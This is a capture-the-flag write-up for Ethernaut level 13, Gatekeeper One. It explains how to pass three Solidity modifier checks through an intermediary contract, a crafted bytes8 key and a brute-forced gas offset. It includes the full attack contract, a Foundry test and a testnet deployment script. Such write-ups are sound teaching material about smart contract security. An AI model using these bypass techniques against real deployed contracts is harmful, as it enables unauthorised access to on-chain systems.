The Ethernaut CTF Solutions | 13 - Gate Keeper One

The Ethernaut CTF Solutions | 13 - Gate Keeper One

The Key to Complexity: Solving Modifiers Requirements in Smart Contracts

ยท

5 min read

Goals

I like the Gate Keepers, they are fun to solve. They basically tell you what to do... You just have to figure out how!

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
            "GatekeeperOne: invalid gateThree part one"
        );
        require(
            uint32(uint64(_gateKey)) != uint64(_gateKey),
            "GatekeeperOne: invalid gateThree part two"
        );
        require(
            uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
            "GatekeeperOne: invalid gateThree part three"
        );
        _;
    }

    function enter(
        bytes8 _gateKey
    ) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

The hack

From now on, things will get a bit more complicated and will require some more advanced solidity knowledge.

We must call the enter(bytes8 _gateKey) function, but for that, we have 3 modifiers to pass to beat the Gate Keeper One level. Let's check them one by one.

Modifier 1

Nothing complicated here, we have already seen this in the Telephone level previously. We simply have to call the enter() function from an intermediary contract so tx.origin will be our EOA and msg.sender will be the intermediary contract.

 modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

Modifier 3

Let's move on to the last modifier directly, because solving the second modifier will be simpler if we can also pass this one. Here, we have to craft a key.

 modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

The gateKey is a bytes8 type, which is a fixed-size byte array of length 8. The gateKey is constructed by taking the last 16 bits of the tx.origin and concatenating them with 0x0001000000000000.

Let's see how to get there. First, we can remove some noise from the gateKey construction:

uint64 key64 = uint64(_gateKey);
require(uint32(key64) == uint16(key64);
require(uint32(key64) != key64);
require(uint32(key64) == uint16(uint160(tx.origin));

That's better. Now we can see that the gateKey is a 64-bit number. Something that will look like this:

0x 00000000 00000000

Based on the third require statement, we see that the last 32 bits must be equal to the last 16 bits of tx.origin. However, the first 32 bits must be different from the first 32 bits of our key. This means that the gateKey is a 64-bit number that has the last 16 bits equal to the last 16 bits of tx.origin and the first 32 bits different from the last 32 bits of tx.origin.

HexFirst 32 bitsLast 32 bits
0x12345678ABCDEFGH

When combined, we will get something like 0x12345678ABCDEFGH. So let's create a function to craft the gateKey accordingly:

function _constructGateKey() private view returns (bytes8 gateKey) {
        // Get the last 16 bits of tx.origin by converting it to uint160 and then to uint16
        uint16 ls16BitsTxOrigin = uint16(uint160(tx.origin));
        // Concatenate the last 16 bits with 0x0001000000000000
        // Where 0x0001000000000000 is a bunch of 0 with an arbitrary 1 somewhere
        // so the first 32 bits differ from each other;
        // The bitwise OR operator is used to combine the two numbers;
        // The result is cast to bytes8;
        gateKey = bytes8(
            uint64(uint64(0x0001000000000000) | uint64(ls16BitsTxOrigin))
        );
        return gateKey;
    }

Modifier 2

We can finally get back to the second modifier.

 modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

We have to make sure that the gasleft() at this point is a multiple of 8191. We will have to somehow loop until we get the right amount of gas, and this is why we handle this modifier last. We can write a quick test to find it out:

pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import {GateSkipperOne} from "src/13_GatekeeperOne.sol";

contract TestGateKeeperOne is Test {
    GateSkipperOne private gateSkipperOne;

    function setUp() public {
        // Replace with your GateKeeperOne instance
        gateSkipperOne = new GateSkipperOne(
            0x3D47f75FdB928E3DC0206DC0Dc3470fF79A43fE2
        );
    }

    function test() public {
        for (uint256 i = 100; i < 8191; i++) {
            try gateSkipperOne.attack(i) {
                console.log("gas", i);
                return;
            } catch {}
        }
        revert("No gas match found!");
    }
}

We can run the test with the following command:

forge test -vvvv --fork-url sepolia --match-path test/13_GateKeeperOne.test.sol

And we get the following amount: 256.

Solution

We now have everything we need to write our contract and call the enter() function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract GateSkipperOne {
    address private gateKeeper;

    constructor(address _gateKeeper) {
        gateKeeper = _gateKeeper;
    }

    function attack(uint256 gas) external {
        bytes8 key = _constructGateKey();

        (bool success, ) = gateKeeper.call{gas: 8191 * 20 + gas}( // gas == 256
            abi.encodeWithSignature("enter(bytes8)", key)
        );
        require(success, "Attack failed");
    }

    function _constructGateKey() private view returns (bytes8 gateKey) {
        uint16 ls16BitsTxOrigin = uint16(uint160(tx.origin));
        gateKey = bytes8(
            uint64(uint64(0x0001000000000000) | uint64(ls16BitsTxOrigin))
        );
        return gateKey;
    }
}

We can create a deployment script as follow:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperOne} from "../src/13_GateKeeperOne.sol";

interface IGateKeeperOne {
    function entrant() external view returns (address);
}

contract PoC is Script {
    // Replace with your GateKeeperOne instance
    address private immutable gateOne =
        0x3D47f75FdB928E3DC0206DC0Dc3470fF79A43fE2; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        GateSkipperOne gateSkipperOne = new GateSkipperOne(gateOne);
        gateSkipperOne.attack(256);
        console2.log("Entrant: ", IGateKeeperOne(gateOne).entrant());

        vm.stopBroadcast();
    }
}

Then run the script with the following command:

forge script script/13_GateKeeperOne.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • How data type conversion and casting work in Solidity

  • Bitwise operators

  • Why gasleft() can't be used as a source of randomness


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย